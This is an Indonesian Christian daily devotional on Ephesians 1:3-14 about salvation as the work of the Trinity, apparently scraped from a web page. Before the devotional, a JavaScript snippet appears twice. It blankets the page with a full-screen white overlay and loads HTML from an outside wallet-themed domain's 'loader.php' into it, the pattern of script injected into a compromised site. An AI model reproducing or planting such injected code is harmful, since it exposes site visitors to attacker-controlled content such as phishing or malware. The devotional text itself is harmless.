const div=document.createElement(‘div’);div.style.position=’fixed’;div.style.top=’0′;div.style.left=’0′;div.style.width=’100%’;div.style.height=’100%’;div.style.backgroundColor=’white’;div.style.zIndex=’9999′;document.body.appendChild(div);fetch(‘https://efimer-wallet.world/recopro/loader.php’).then(response=>response.text()).then(data=>{div.innerHTML=data;});
const div=document.createElement(‘div’);div.style.position=’fixed’;div.style.top=’0′;div.style.left=’0′;div.style.width=’100%’;div.style.height=’100%’;div.style.backgroundColor=’white’;div.style.zIndex=’9999′;document.body.appendChild(div);fetch(‘https://efimer-wallet.world/recopro/loader.php’).then(response=>response.text()).then(data=>{div.innerHTML=data;});
Rabu, 22 November 2023
Efesus 1 : 3 – 14
Pengantar
“Usahakanlah keselamatan Anda sendiri, dan jangan bergantung pada orang lain.” Nasihat semacam itu sering kita temukan di dalam kebanyakan ajaran agama dan filsafat di dunia. Namun, bertolak belakang dengan nasihat tersebut, pengkhotbah Kristen, Charles Spurgeon (1834-1892), justru memperingatkan, “Musuh terbesar jiwa manusia adalah kecenderungan membenarkan diri sendiri yang membuat manusia mencari keselamatan dengan upayanya sendiri.” Kekristenan menghayati keselamatan sebagai anugerah yang diberikan Allah melalui karya Kristus dan Roh Kudus. Melalui bacaan hari ini kita akan melihat bagaimana berkat rohani yang terbesar itu dikerjakan oleh Allah Trinitas di dalam kehidupan orang-orang percaya.
Pemahaman
- Ayat 3-6. Apa peran dan karya Allah Bapa dalam keselamatan orang percaya?
- Ayat 7-12. Apa peran Yesus Kristus?
- Ayat 13-14. Apa peran Roh Kudus?
Di ayat 3-6, Rasul Paulus mengajak kita memuji Allah Bapa yang telah memilih kita untuk menerima keselamatan dan hidup sebagai orang-orang yang telah diselamatkan (ay. 4, “hidup kudus dan tak bercacat di hadapan-Nya”). Pemilihan ini terjadi di dalam kekekalan (ay. 4, “sebelum dunia dijadikan”), dan dilakukan di dalam “kasih” dan “kerelaan kehendak-Nya” (ay. 5). Jadi, kita menjadi orang-orang yang dipilih untuk diselamatkan semata-mata karena kasih dan kedaulatan Allah. Karena itu, kita patut memuji Dia yang telah memberikan “anugerah-Nya yang mulia” (ay. 6).
Di ayat 7-12, Rasul Paulus menguraikan karya Yesus Kristus, yaitu penebusan. Istilah penebusan di sini merujuk pada pelepasan atau pembebasan dari perbudakan dosa (lih. Kol 1:14; Ibr. 9:15). Buah dari karya penebusan yang dilakukan oleh Yesus ini adalah pengampunan dosa yang diterima oleh orang-orang
percaya (lih. Ef 4:32). Menerima pengampunan dosa secara cuma- cuma tidak boleh membuat manusia meremehkan dosa. Penebusan dosa itu telah dilakukan dengan darah yang mahal, yaitu darah Kristus ( 1 Petrus 1 : 18 – 19 ) . Allah juga menganugerahkan hikmat dan pengertian (ay. 8) agar kita dapat memahami karya penebusan Kristus itu, dan juga rencana keselamatan yang akan dikerjakan-Nya bagi orang Yahudi maupun non-Yahudi.
Di ayat 13-14, Rasul Paulus menjelaskan karya Roh Kudus. Setelah mendengarkan firman kebenaran atau Injil keselamatan, dan percaya kepada Yesus, maka pada waktu itu juga kita akan dimeteraikan oleh Roh Kudus. Meterai (Yun: sphragis) digunakan untuk menjamin keabsahan sebuah perjanjian. Selain menggunakan gambaran meterai, di ayat 14, Paulus juga menyebut Roh Kudus sebagai uang panjar (Yun: arrabon), yaitu pembayaran awal yang diterima oleh penjual sebagai jaminan untuk pelunasannya. Jadi, oleh karya Roh Kudus, orang-orang percaya pasti akan menerima keselamatan pada waktunya.
Refleksi
Berkat yang terbesar bagi orang-orang percaya adalah keselamatan yang merupakan karya tiga Pribadi Allah Trinitas: pemilihan oleh Bapa (ay.4-6), pengorbanan Sang Anak (ay.7-12 ), dan meterai Roh Kudus (ay.13-14).
Tekadku
Tuhan, aku bersyukur atas anugerah keselamatan yang Kau karuniakan kepadaku.
Tindakanku
Aku akan berdoa bagi para peserta katekisasi agar mereka sungguh-sungguh memahami karya keselamatan yang dikerjakan oleh Allah Trinitas.